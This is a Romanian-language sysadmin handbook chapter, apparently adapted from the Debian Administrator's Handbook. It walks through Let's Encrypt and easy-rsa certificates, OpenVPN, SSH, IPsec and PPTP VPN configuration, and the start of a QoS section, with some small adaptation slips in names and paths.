cancel): admin@scoalagenerala.com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must
agree in order to register with the ACME server at
https://acme-v02.api.letsencrypt.org/directory
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(A)gree/(C)ancel: A

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Would you be willing to share your email address with the Electronic Frontier
Foundation, a founding partner of the Let's Encrypt project and the non-profit
organization that develops Certbot? We'd like to send you email about our work
encrypting the web, EFF news, campaigns, and ways to support digital freedom.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(Y)es/(N)o: N

No names were found in your configuration files. Please enter in your domain
name(s) (comma and/or space separated) (Enter 'c' to cancel): acoalagenerala.com

Obtaining a new certificate

Performing the following challenges:
http-01 challenge for scoalagenerala.com
Enabled Apache rewrite module
Waiting for verification...
Cleaning up challenges
Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf
Enabled Apache socache_shmcb module
Enabled Apache ssl module
Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.
⮩ conf
Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: No redirect - Make no further changes to the webserver configuration.
2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for
new sites, or if you're confident your site works on HTTPS. You can undo this
change by editing your web server's configuration.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2

Enabled Apache rewrite module

Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/
⮩ apache2/sites-available/000-default-le-ssl.conf

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Congratulations! You have successfully enabled https://scoalagenerala.com

You should test your configuration at:

https://www.ssllabs.com/ssltest/analyze.html?d=scoalagenerala.com
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

IMPORTANT NOTES:
- Congratulations! Your certificate and chain have been saved at:
/etc/letsencrypt/live/scoalagenerala.com/fullchain.pem
Your key file has been saved at:
/etc/letsencrypt/live/scoalagenerala.com/privkey.pem
Your cert will expire on 2020-06-04. To obtain a new or tweaked
version of this certificate in the future, simply run certbot again
with the "certonly" option. To non-interactively renew *all* of
your certificates, run "certbot renew"

193
 - Your account credentials have been saved in your Certbot
configuration directory at /etc/letsencrypt. You should make a
secure backup of this folder now. This configuration directory will
also contain certificates and private keys obtained by Certbot so
making regular backups of this folder is ideal.
- If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate

Donating to EFF: https://eff.org/donate-le

CULTURĂ Inițiativa Let's Encrypt este un efort comun pentru a crea o autoritate de certificare (CA) gratuită, automată și
Let's Encrypt Initiative deschisă, rulată în beneficiul publicului. Este susținut de EFF și de Linux Foundation. Inițiativa oferă un
instrument automat pentru achiziționarea și reînnoirea certificatelor. Acest lucru reduce cantitatea de efort
manual implicat, mai ales dacă trebuie gestionate mai multe site-uri și domenii. Certificatele pot fi utilizate și
pentru SIP server, XMPP server, WebSockets server și TURN.server Utilizarea serviciului necesită control
asupra informațiilor DNS ale domeniului în cauză (validarea domeniului).
➨ https://letsencrypt.org/how-it-works/

Dacă preferați să mențineți server-ul în funcțiune în timpul creării certificatului, puteți utiliza pluginul webroot
pentru a obține certificatul cu argumentele certonly și --webroot. Ar trebui să specificați o cale --
webroot (prescurtată -w), care ar trebui să conțină fișierele servite. Comanda arată după cum urmează:

# certbot certonly --webroot -w /var/www/html -d www.DOMAIN.com -d DOMAIN.com

Trebuie să reporniți toate serviciile folosind certificatele pe care le-ați creat.

Certificatele create sunt așa-numitele certificate de scurtă durată, care sunt valabile timp de 90 de zile și,
prin urmare, trebuie reînnoite o dată la trei luni folosind comanda certbot renew. Cu toate acestea, nu ar
trebui să reînnoim fiecare certificat manual, ci automat. Un cron job de bază este inclus de certbot în
/etc/cron.d/certbot. Pentru a vă asigura că certificatele pot fi reînnoite automat, puteți executa
certbot renew --dry-run.

10.2.2. Infrastructura cheii publice: easy-rsa

De asemenea, este posibil să creăm propria noastră CA, pentru aceasta vom folosi algoritmul RSA, utilizat
pe scară largă în criptografia cu cheie publică. Acesta implică o “pereche de chei”, compusă dintr-o cheie
privată și o cheie publică. Cele două chei sunt strâns legate între ele, iar proprietățile lor matematice sunt de
așa natură încât un mesaj criptat cu cheia publică poate fi decriptat doar de către cineva care știe cheia
privată, ceea ce asigură confidențialitatea. În direcția opusă, un mesaj criptat cu cheia privată poate fi
decriptat de oricine cunoaște cheia publică, ceea ce permite autentificarea originii unui mesaj, deoarece doar
cineva cu acces la cheia privată ar putea să-l genereze. Când este asociat cu o funcție hash digitală (MD5,
SHA1 sau o variantă mai recentă), aceasta duce la un mecanism de semnătură care poate fi aplicat oricărui
mesaj.
Deoarece CA-urile publice emit certificate numai în schimbul unei taxe (mari), este, de asemenea, posibil să
se creeze o autoritate de certificare privată în cadrul companiei. Pachetul easy-rsa oferă instrumente pentru a
servi ca infrastructură de certificare X.509, implementat ca un set de scripturi folosind comanda openssl.

ALTERNATIVĂ GnuTLS poate fi, de asemenea, utilizat pentru a genera un CA și pentru a face față altor tehnologii în jurul
GnuTLS protocoalelor TLS, DTLS și SSL.
Pachetul gnutls-bin conține utilitarele din linia de comandă. De asemenea, este util să instalați pachetul gnutls-
doc, care include o documentație extinsă.

Adminstratorii Școlii Generale folosesc acest instrument pentru a crea certificatele necesare, atât pentru server
cât și pentru clienți. Acest lucru permite tuturor clienților, o configurație similară, deoarece aceștia vor trebui
doar să fie configurați astfel încât să aibă încredere în certificatele provenite de la autoritatea de certificare
locală a Școlii Generale. Acest CA este primul certificat creat; în acest scop, administratorii au creat un
director cu fișierele necesare pentru CA într-o locație adecvată, de preferință pe o mașină care nu este
conectată la rețea, pentru a atenua riscul de a fi furată cheia privată a CA.

$ make-cadir pki-scoalagenerala
$ cd pki-scoalagenerala

Apoi stochează parametrii necesari în fișierul vars, care poate fi necomentat și editat:

194
$ vim vars
$ grep EASYRSA vars
if [ -z "$EASYRSA_CALLER" ]; then
# easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF)
#set_var EASYRSA "${0%/*}"
#set_var EASYRSA_OPENSSL "openssl"
#set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe"
#set_var EASYRSA_PKI "$PWD/pki"
#set_var EASYRSA_DN "cn_only"
#set_var EASYRSA_REQ_COUNTRY "FR"
#set_var EASYRSA_REQ_PROVINCE "Loire"
#set_var EASYRSA_REQ_CITY "Tecuci"
#set_var EASYRSA_REQ_ORG " Scoala Generala"
#set_var EASYRSA_REQ_EMAIL "admin@scoalagenerala.com"
#set_var EASYRSA_REQ_OU "Certificate authority"
#set_var EASYRSA_KEY_SIZE 2048
#set_var EASYRSA_ALGO rsa
#set_var EASYRSA_CURVE secp384r1
#set_var EASYRSA_CA_EXPIRE 3650
#set_var EASYRSA_CERT_EXPIRE 1080
#set_var EASYRSA_CERT_RENEW 30
#set_var EASYRSA_CRL_DAYS 180
#set_var EASYRSA_NS_SUPPORT "no"
#set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate"
#set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp"
# when undefined here, default behaviour is to look in $EASYRSA_PKI first, then
# fallback to $EASYRSA for the 'x509-types' dir. You may override this
#set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types"
# EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA
#set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf"
#set_var EASYRSA_REQ_CN "ChangeMe"
#set_var EASYRSA_DIGEST "sha256"
#set_var EASYRSA_BATCH ""
$

Acum pregătim directorul infrastructurii cheii publice cu următoarea comandă:

$ ./easyrsa init-pki

Note: using Easy-RSA configuration from: ./vars

init-pki complete; you may now create a CA or requests.

Your newly created PKI dir is: /home/roland/pki-scoalagenerala/pki

Următorul pas este crearea perechii de chei CA în sine (cele două părți ale perechii de chei vor fi stocate sub
pki/ca.crt și pki /private/ca.key în timpul acestui pas). Putem adăuga opțiunea nopass pentru a
evita introducerea unei parole de fiecare dată când se utilizează cheia privată:

$ ./easyrsa build-ca nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019

Generating RSA private key, 2048 bit long modulus (2 primes)
......................................................................................+++++
⮩
......................+++++
e is 65537 (0x010001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Common Name (eg: your user, host, or server name) [Easy-RSA CA]:

CA creation complete and you may now import and sign cert requests.
Your new CA scoalagenerala file for publishing is at:
/home/cristi/pki-scoalageneerala/pki/ca.crt

Certificatul poate fi creat acum, precum și parametrii Diffie-Hellman necesari pentru partea server a unei
conexiuni SSL/TLS. Vor să-l folosească pentru un VPN server (vezi secțiunea secțiunea 10.3. “Rețea virtuală

195
privată” pagina 197) care este identificat prin numele DNS vpn.scoalagenerala.com; acest nume este
reutilizat pentru fișierele cheie generate (keys/vpn.scoalagenerala.com.crt pentru certificatul public,
chei /vpn.scoalagenerala.com.key pentru cheia privată):

$ ./easyrsa gen-req vpn.scoalagenerala.com nopass

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019

Generating a RSA private key
.................................................................................+++++
⮩
........+++++
writing new private key to '/home/cristi/pki-scoalagenerala/pki/private/vpn.scoalagenerala.com.key.
⮩ E5c3RGJBUd'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Common Name (eg: your user, host, or server name) [vpn.scoalagenerala.com]:

Keypair and certificate request completed. Your files are:

req: /home/cristi/pki-scoalagenerala/pki/reqs/vpn.scoalagenerala.com.req
key: /home/cristi/pki-scoalagenerala/pki/private/vpn.scoalagenerala.com.key

$ ./easyrsa sign-req server vpn.scoalagenerala.com

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019

You are about to sign the following certificate.

Please check over the details shown below for accuracy. Note that this request
has not been cryptographically verified. Please be sure it came from a trusted
source or that you have verified the request checksum with the sender.

Request subject, to be signed as a server certificate for 1080 days:

subject=
commonName = vpn.scoalagenerala.com

Type the word 'yes' to continue, or any other input to abort.

Confirm request details: yes
Using configuration from /home/cristi/pki-scoalagenerala/pki/safessl-easyrsa.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName :ASN.1 12:'vpn.scoalagenerala.com'
Certificate is to be certified until Jun 14 10:44:44 2022 GMT (1080 days)

Write out database with 1 new entries

Data Base Updated

Certificate created at: /home/cristi/pki-scoalagenerala/pki/issued/vpn.scoalagenerala.com.crt

$ ./easyrsa gen-dh

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019

Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
[…]
DH parameters of size 2048 created at /home/cristi/pki-scoalagenerala/pki/dh.pem

Următorul pas creează certificate pentru clienții VPN; este necesar un certificat pentru fiecare computer sau
persoană autorizată să utilizeze VPN:

$ ./easyrsa build-client-full CristiRusu nopass

196
Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1d 10 Sep 2019

Generating a RSA private key
.......................................................+++++
...........................+++++
writing new private key to '/root/pki-scoalagenerala/pki/private/CristiRusu.key.Tgr8kk0a6a'
-----
Using configuration from /root/pki-scoalagenerala/pki/safessl-easyrsa.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName :ASN.1 12:'JoeSmith'
Certificate is to be certified until Feb 20 04:52:43 2023 GMT (1080 days)

Write out database with 1 new entries

Data Base Updated

10.3. Rețea virtuală privată

O rețea virtuală privată (VPN pe scurt) este o modalitate de a conecta două rețele locale diferite prin Internet
printr-un tunnel; tunnel este de obicei criptat pentru confidențialitate. VPN-urile sunt adesea folosite pentru a
integra o mașină de la distanță în rețeaua locală a companiei.
Mai multe instrumente oferă acest lucru. OpenVPN este o soluție eficientă, ușor de implementat și întreținut,
bazată pe SSL/TLS. O altă posibilitate este utilizarea IPsec pentru a cripta traficul IP între două mașini;
această criptare este transparentă, ceea ce înseamnă că aplicațiile care rulează pe aceste gazde nu trebuie
modificate pentru a ține cont de VPN. Poate fi întrebuinţat și SSH pentru a furniza un VPN, pe lângă
caracteristicile sale mai convenționale. În cele din urmă, se poate stabili o VPN folosind protocolul Microsoft
PPTP. Alte soluții există, dar sunt dincolo de obiectivul acestei cărți.

10.3.1 OpenVPN
OpenVPN este o aplicație software dedicată creării de rețele private virtuale. Configurarea sa presupune
crearea de interfețe de rețea virtuale pe VPN server și pe client; ambele interfețe tun (pentru tunnel la nivel
IP) și tap (pentru tunnel la nivel Ethernet) sunt acceptate. În practică, interfețele tun vor fi utilizate cel mai
adesea, cu excepția cazului în care VPN clients vor fi integrați în rețeaua locală a server-ului printr-un Ethernet
bridge.
OpenVPN se bazează pe OpenSSL pentru toată criptografia SSL/TLS și caracteristicile asociate
(confidențialitate, autentificare, integritate, non-repudiere). Poate fi configurat fie cu o cheie privată partajată,
fie utilizând certificate X.509 bazate pe o infrastructură de chei publice. Această din urmă configurație este
puternic preferată, deoarece permite o mai mare flexibilitate atunci când se confruntă cu un număr tot mai
mare de utilizatori în roaming care accesează VPN.

10.3.1.1. Configurarea server-ului OpenVPN

După ce au fost create toate certificatele (urmați instrucțiunile din secțiunea 10.2.2. “Infrastructura cheii publice:
easy-rsa” pagina 194), acestea trebuie copiate acolo unde este cazul: cheia publică a certificatului rădăcină
(pki/ca.crt) va fi stocată pe toate mașinile (atât pentru server, cât și pentru client) ca /etc/ssl/certs/
ScoalaGeneral_CA.crt. Certificatul server-ului este instalat numai pe server
(pki/issued/vpn.scoalagenerala.com.crt merge la
/etc/ssl/certs/vpn.scoalagenerala.com.crt și
pki/private/vpn.scoalagenerala.com.key merge la
/etc/ssl/private/vpn.scoalagenerala.com.key cu permisiuni restrânse, astfel încât numai
administratorul să poată citi), cu parametrii Diffie-Hellman corespunzători (pki/dh.pem) instalați pe
/etc/openvpn/dh.pem. Certificatele de client sunt instalate pe VPN client corespunzător în mod similar.

10.3.1.2. Configurarea server-ului OpenVPN

În mod implicit, scriptul de inițializare OpenVPN încearcă să pornească toate rețelele virtuale private definite
în /etc/openvpn/*.conf. Configurarea unui VPN server este, prin urmare, o chestiune de stocare a unui

197
fișier de configurare corespunzător în acest director. Un bun punct de plecare este
/usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, care duce la un
server destul de standard. Desigur, unii parametri trebuie să fie adaptați: ca, cert, cheie și dh trebuie să
descrie locațiile selectate (respectiv, /etc/ssl/certs/ScoalaGenerala_CA.crt,
/etc/ssl/vpn..com.crt, /etc/ssl/private/vpn.scoalagenerala.com.key și /etc/openvpn/
dh.pem). Directiva server 10.8.0.0 255.255.255.0 definește subrețeaua care va fi utilizată de VPN;
server-ul utilizează prima adresă IP din intervalul respectiv (10.8.0.1), iar restul adreselor sunt alocate
clienților.
Cu această configurație, pornirea OpenVPN creează interfața de rețea virtuală, de obicei sub numele tun0.
Cu toate acestea, firewall-urile sunt adesea configurate în același timp cu interfețele reale de rețea, ceea ce
se întâmplă înainte de începerea OpenVPN. Prin urmare, bunele practici recomandă crearea unei interfețe de
rețea virtuală persistente și configurarea OpenVPN pentru a utiliza această interfață preexistentă. Acest lucru
permite în continuare alegerea numelui pentru această interfață. În acest scop, openvpn --mktun --dev
vpn --dev-type tun creează o interfață de rețea virtuală numită vpn cu tip tun; această comandă poate
fi integrată cu ușurință în scriptul de configurare firewall sau într-o directivă up a fișierului
/etc/network/interfaces, sau o regulă udev poate fi adăugată în acest scop. Fișierul de configurare
OpenVPN trebuie, de asemenea, să fie actualizat corespunzător, cu directivele dev vpn și dev-type tun.
Cu excepția acțiunilor ulterioare, VPN clients pot accesa VPN server în sine numai prin intermediul adresei
10.8.0.1. Acordarea accesului clienților la rețeaua locală (192.168.0.0/24), necesită adăugarea unei
directive push 192.168.0.0 255.255.255.0 la configurația OpenVPN, astfel încât clienții VPN să
obțină automat o rută de rețea care să le spună că această rețea este accesibilă pe cale din VPN. În plus,
mașinile din rețeaua locală trebuie, de asemenea, să fie informate că ruta către VPN trece prin VPN server
(acest lucru funcționează automat atunci când VPN server este instalat pe gateway). Alternativ, VPN server
poate fi configurat pentru a efectua IP masquerading, astfel încât conexiunile care vin de la VPN clients să pară
că provin de la VPN server (vezi Secțiunea 10.1. “Gateway” pagina 191).

10.3.1.3. Configurarea clientului OpenVPN

Configurarea unui OpenVPN client necesită, de asemenea, crearea unui fișier de configurare în
/etc/openvpn/. O configurație standard poate fi obținută utilizând
/usr/share/doc/openvpn/examples/sample-config-files/client.conf ca punct de plecare.
Directiva la distanță vpn.scoalagenerala.com 1194 descrie adresa și OpenVPN server port; ca, cert și
key trebuie, de asemenea, să fie adaptate pentru a descrie locațiile fișierelor cheie.
Dacă VPN-ul nu trebuie pornit automat la pornire, setați directiva AUTOSTART la none în fișierul
/etc/default/openvpn. Pornirea sau oprirea unei anumite conexiuni VPN este întotdeauna posibilă cu
comenzile systemctl start openvpn@name și systemctl stop openvpn@name (unde numele
conexiunii se potrivește cu cel definit în /etc/openvpn/name.conf).
Pachetul network-manager-openvpn-gnome conține o extensie pentru Network Manager (consultați secțiunea
8.2.5. “Configurare automată a rețelei pentru utilizatorii în roaming” pagina 141) care permite gestionarea rețelelor
virtuale private OpenVPN. Acest lucru permite fiecărui utilizator să configureze conexiunile grafice OpenVPN
și să le controleze din pictograma de gestionare a rețelei.

10.3.2. Rețea virtuală privată cu SSH

Există de fapt două moduri de creare a unei rețele virtuale private cu SSH. Istoricul implică
stabilirea unui strat PPP peste legătura SSH. Această metodă este descrisă într-un document HOWTO:
➨ http://www.tldp.org/HOWTO/ppp-ssh/
A doua metodă este mai recentă și a fost introdusă cu OpenSSH 4.3; acum este posibil ca OpenSSH să
creeze interfețe de rețea virtuală (tun*) pe ambele părți ale unei conexiuni SSH, iar aceste interfețe virtuale
pot fi configurate exact ca și cum ar fi interfețe fizice. Sistemul de tunelare trebuie activat mai întâi prin
setarea PermitTunnel pe “da” în fișierul de configurare a SSH server (/etc/ssh/sshd_config). La
stabilirea conexiunii SSH, crearea unui tunel trebuie solicitată în mod explicit cu opțiunea -w any:any (any
poate fi înlocuită cu tun al numărului de dispozitiv dorit). Aceasta cere utilizatorului privilegii de administrator
pe ambele părți, astfel încât să poată crea dispozitivul de rețea (cu alte cuvinte, conexiunea trebuie să fie
stabilită ca root).

198
Ambele metode de creare a unei rețele private virtuale prin SSH sunt destul de simple. Cu toate acestea,
VPN-ul pe care îl furnizează nu este cel mai eficient disponibil; în special, nu se ocupă foarte bine de
nivelurile ridicate de trafic.
Explicația este că atunci când un stivă TCP/IP este încapsulată într-o conexiune TCP/IP (pentru SSH),
protocolul TCP este utilizat de două ori, o dată pentru conexiunea SSH și o dată în tunnel. Acest lucru duce la
probleme, în special datorită modului în care TCP se adaptează condițiilor de rețea, modificând întârzierile în
timp. Următorul sit descrie problema mai detaliat:
➨ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html
De aceea, VPN-urile prin SSH ar trebui să fie limitate la tuneluri unice fără restricții de performanță.

10.3.3. IPsec
Cu toate că IPsec este standardul în VPN-urile IP, este mai degrabă implicat în implementarea sa. Ipsec
engine este integrat în nucleul Linux; piesele necesare pentru spațiul utilizatorului, instrumentele de control și
configurare, sunt furnizate de pachetul libreswan. Aici descriem pe scurt opțiunea librewan.
Mai întâi, instalăm pachetul librewan. În termeni concreți, fișierul /etc/ipsec.conf al fiecărei gazde
conține parametrii pentru tunelurile IPsec (sau Asocierile de securitate, în terminologia IPsec) de care este
preocupată gazda. Există multe exemple de configurare în /usr/share/doc/libreswan/, dar
documentația Libreswan online are mai multe exemple cu explicații:
➨ https://libreswan.org/wiki/
Serviciul IPsec poate fi controlat cu systemctl; de exemplu, systemctl start ipsec va porni serviciul
IPsec.
În ciuda statutului său de referință, complexitatea configurării IPsec limitează utilizarea sa în practică.
Soluțiile bazate pe OpenVPN vor fi, în general, preferate atunci când tunelurile necesare nu sunt nici prea
multe, nici prea dinamice.

PRUDENȚĂ NAT pe paravane de protecție și IPsec nu funcționează bine împreună: din moment ce indicatorii IPsec,
IPsec și NAT pachetele, orice modificare a acestor pachete pe care firewall-ul ar putea să le efectueze va anula semnătura, iar
pachetele vor fi respinse la destinație. Diferite implementări IPsec includ acum tehnica NAT-T (pentru NAT
Traversal), care în principiu încapsulează pachetul IPsec într-un pachet UDP standard.

SECURITATE Modul de funcționare standard al IPsec implică schimburi de date pe portul UDP 500 pentru schimburi de chei
IPsec și firewall (de asemenea, pe portul UDP 4500 în cazul în care este utilizat NAT-T). Mai mult, pachetele IPsec folosesc
două protocoale IP dedicate pe care firewall-ul trebuie să le permită; recepția acestor pachete se bazează pe
numerele lor de protocol, 50 (ESP) și 51 (AH).

10.3.4. PPTP
Protocolul de tunelare punct la punct ( PPTP - Point-to-Point Tunneling Protocol) folosește două canale de
comunicare, unul pentru date de control și altul pentru date de sarcină utilă; acesta din urmă folosește
protocolul GRE (Generic Routing Encapsulation). Apoi, este setat un link PPP standard pe canalul de schimb de
date.

10.3.4.1. Configurarea clientului

Pachetul pptp-linux conține un PPTP client ușor de configurat pentru Linux. Următoarele instrucțiuni se inspiră
din documentația oficială:
➨ http://pptpclient.sourceforge.net/howto-debian.phtml
Administratorul Școlii Generale a creat mai multe fișiere: /etc/ppp/options.pptp,
/etc/ppp/peers/scoalagenerala, /etc/ppp/ip-up.d/scoalagenerala, și /etc/ppp/ip-
down.d/scoalagenerala.

Exemplul 10.2 Fișierul /etc/ppp/options.pptp

# PPP options used for a PPTP connection

lock
noauth

199
nobsdcomp
nodeflate

Exemplul 10.3 Fișierul /etc/ppp/peers/scoalagenerala

# vpn.scoalagenerala.com is the PPTP server

pty "pptp vpn.scoalagenerala.com --nolaunchpppd"
# the connection will identify as the "vpn" user
user vpn
remotename pptp
# encryption is needed
require-mppe-128
file /etc/ppp/options.pptp
ipparam scoalagenerala

Exemplul 10.4 Fișierul /etc/ppp/ip-up.d/scoalagenerala

# Create the route to the Scoala Generala network

if [ "$6" = "scoalagenerala" ]; then
# 192.168.0.0/24 is the (remote) Scoala Generala network
ip route add 192.168.0.0/24 dev $1
fi

Exemplul 10.5 Fișierul /etc/ppp/ip-down.d/scoalagenerala

# Delete the route to the Scoala Generala network

if [ "$6" = "scoalagenerala" ]; then
# 192.168.0.0/24 is the (remote) Scoala Generala network
ip route del 192.168.0.0/24 dev $1
fi

SECURITATE Securizarea PPTP implică utilizarea funcției MPPE (Microsoft Point-to-Point Encryption), care
MPPE este disponibilă în nucleele oficiale Debian ca modul.

10.3.4.2. Configurare server

PRUDENȚĂ Firewall-urile intermediare trebuie configurate pentru a permite folosirea pachetelor IP folosind protocolul 47
PPTP și firewalls (GRE). Mai mult decât atât, port 1723 al PPTP server trebuie să fie deschis pentru ca să se vadă canalul de
comunicare.

PPTP server pentru Linux este pptpd. Fișierul principal de configurare /etc/pptpd.conf cere foarte puține
modificări: localip (adresa IP locală) și remoteip (adresă IP de la distanță). În exemplul de mai jos, PPTP server
folosește întotdeauna adresa 192.168.0.199 iar PPTP clients primesc adrese IP de la 192.168.0.200 la
192.168.0.250.

Exemplul 10.6 Fișierul /etc/pptpd.conf

# TAG: speed
#
# Specifies the speed for the PPP daemon to talk at.
#
speed 115200

# TAG: option
#
# Specifies the location of the PPP options file.
# By default PPP looks in '/etc/ppp/options'
#
option /etc/ppp/pptpd-options

# TAG: debug
#
# Turns on (more) debugging to syslog
#
# debug

# TAG: localip
# TAG: remoteip
#
# Specifies the local and remote IP address ranges.

200
#
# You can specify single IP addresses separated by commas or you can
# specify ranges, or both. For example:
#
# 192.168.0.234,192.168.0.245-249,192.168.0.254
#
# IMPORTANT RESTRICTIONS:
#
# 1. No spaces are permitted between commas or within addresses.
#
# 2. If you give more IP addresses than MAX_CONNECTIONS, it will
# start at the beginning of the list and go until it gets
# MAX_CONNECTIONS IPs. Others will be ignored.
#
# 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,
# you must type 234-238 if you mean this.
#
# 4. If you give a single localIP, that's ok - all local IPs will
# be set to the given one. You MUST still give at least one remote
# IP for each simultaneous client.
#
#localip 192.168.0.234-238,192.168.0.245
#remoteip 192.168.1.234-238,192.168.1.245
#localip 10.0.1.1
#remoteip 10.0.1.2-100
localip 192.168.0.199
remoteip 192.168.0.200-250

Configurația PPP folosită de PPTP server necesită și câteva modificări în /etc/ppp/pptpd-options.

Parametrii importanți sunt numele server-ului (pptp), numele de domeniu (scoalagenerala.com) și
adresele IP pentru DNS server și WINS server.

Exemplul 10.7 Fișierul /etc/ppp/pptpd-options

## turn pppd syslog debugging on

#debug

## change 'servername' to whatever you specify as your server name in chap-secrets

name pptp
## change the domainname to your local domain
domain scoalagenerala.com

## these are reasonable defaults for WinXXXX clients

## for the security related settings
# The Debian pppd package now supports both MSCHAP and MPPE, so enable them
# here. Please note that the kernel support for MPPE must also be present!
auth
require-chap
require-mschap
require-mschap-v2
require-mppe-128

## Fill in your addresses

ms-dns 192.168.0.1
ms-wins 192.168.0.1

## Fill in your netmask

netmask 255.255.255.0

## some defaults
nodefaultroute
proxyarp
lock

Ultimul pas implică înregistrarea utilizatorului vpn (și parola asociată) în fișierul /etc/ppp/chap-secrets.
Spre deosebire de alte cazuri în care ar funcționa un asterisc (*), name server trebuie completat aici. Mai
mult, Windows PPTP clients se identifică sub forma DOMAIN\\USER în loc să furnizeze doar un nume de
utilizator. Așa se explică de ce fișierul menționează și utilizatorul SCOALAGENERALA\\vpn. De asemenea,
este posibil să se specifice adrese IP individuale pentru utilizatori; un asterisc în acest câmp specifică faptul
că ar trebui folosită adresarea dinamică.

Exemplul 10.8 Fișierul /etc/ppp/chap-secrets

201
# Secrets for authentication using CHAP
# client server secret IP addresses
vpn pptp f@Lc3au *
Scoala Generala\\vpn pptp f@Lc3au *

SECURITY Prima implementare PPTP de la Microsoft a atras critici severe, deoarece avea multe vulnerabilități de
Vulnerabilitățile PPTP securitate; majoritatea fiind fixate de atunci în versiuni mai recente. Configurația documentată în
această secțiune folosește cea mai recentă versiune a protocolului. Rețineți însă că eliminarea unor
opțiuni (ca require-mppe-128 și require-mschap-v2) ar face din nou serviciul vulnerabil.

10.4. Calitatea serviciului

10.4.1. Principiul și mecanismul
Calitatea serviciului (sau QoS), se referă la un set de tehnici care garantează sau îmbunătățesc calitatea
serviciului furnizat aplicațiilor. Cea mai populară tehnică implică clasificarea traficului de rețea în categorii și
diferențierea gestionării traficului în funcție de ce categorie aparține. Principala aplicație a conceptului
acestui serviciu diferențiat este modelarea traficului, care limitează ratele de transmitere a datelor pentru
conexiunile legate de unele servicii și/sau gazde, astfel încât să nu satureze lățimea de bandă disponibilă și
să înfometeze alte servicii importante. Modelarea traficului este o potrivire deosebit de bună pentru traficul
TCP, deoarece acest protocol se adaptează automat la lățimea de bandă disponibilă.

CULTURĂ Neutralitatea rețelei se realizează atunci când furnizorii de servicii Internet tratează în mod egal toate
Neutralitatea rețelei și QoS comunicațiile Internet, adică fără nicio limitare a accesului bazată pe conținut, utilizator, site web, adresă de
destinație etc.
Calitatea serviciului poate fi implementată într-un Internet neutru, dar numai dacă furnizorii de servicii de
Internet nu pot percepe o taxă specială pentru un serviciu de calitate superioară.

De asemenea, este posibilă modificarea priorităților privind traficul, ceea ce permite acordarea de prioritate
pachetelor legate de servicii interactive (cum ar fi ssh și telnet) sau de serviciile care se ocupă doar de
blocuri mici de date.
Nucleele Debian includ funcțiile necesare pentru QoS împreună cu modulele asociate. Aceste module sunt
multe și fiecare dintre acestea oferă un serviciu diferit, în special prin planificări speciale pentru cozile de
pachete IP; gama largă a comportamentelor de planificare disponibile acoperă întreaga gamă de cerințe
posibile.

CULTURĂ HOWTO Linux Advanced Routing & Traffic Control este documentul de referință care acoperă tot ce trebuie
LARTC — Linux Advanced știut despre calitatea serviciilor rețelei.
Routing & Traffic Control ➨ http://www.lartc.org/howto/

10.4.2. Configurarea și implementarea

Parametrii QoS sunt setați prin comanda tc (oferită de pachetul iproute). Întrucât interfața sa este destul de
complexă, se recomandă utilizarea unor instrumente de nivel superior.

10.4.2.1. Reducerea latențelor: wondershaper

Scopul principal al lui wondershaper (în pachetul numit în mod similar) este de a minimaliza latențele
independent de încărcarea rețelei. Acest lucru se realizează prin limitarea traficului total la o valoare care se
încadrează doar la valoarea de saturație a link-ului.
Odată configurată o interfață de rețea, ajustarea acestei limitări de trafic se realizează rulând interfața
wondershaper interface download_rate upload_rate. Interfața poate fi de exemplu eth0 sau
ppp0 și ambele rate sunt exprimate în kilobiți pe secundă. Comanda wondershaper remove interface
dezactivează controlul traficului pe interfața specificată.
Pentru o conexiune Ethernet, acest script este cel mai bine apelat imediat după configurarea interfeței.
Aceasta se face prin adăugarea directivelor up și down la fișierul /etc/network/interfaces, permițând

202
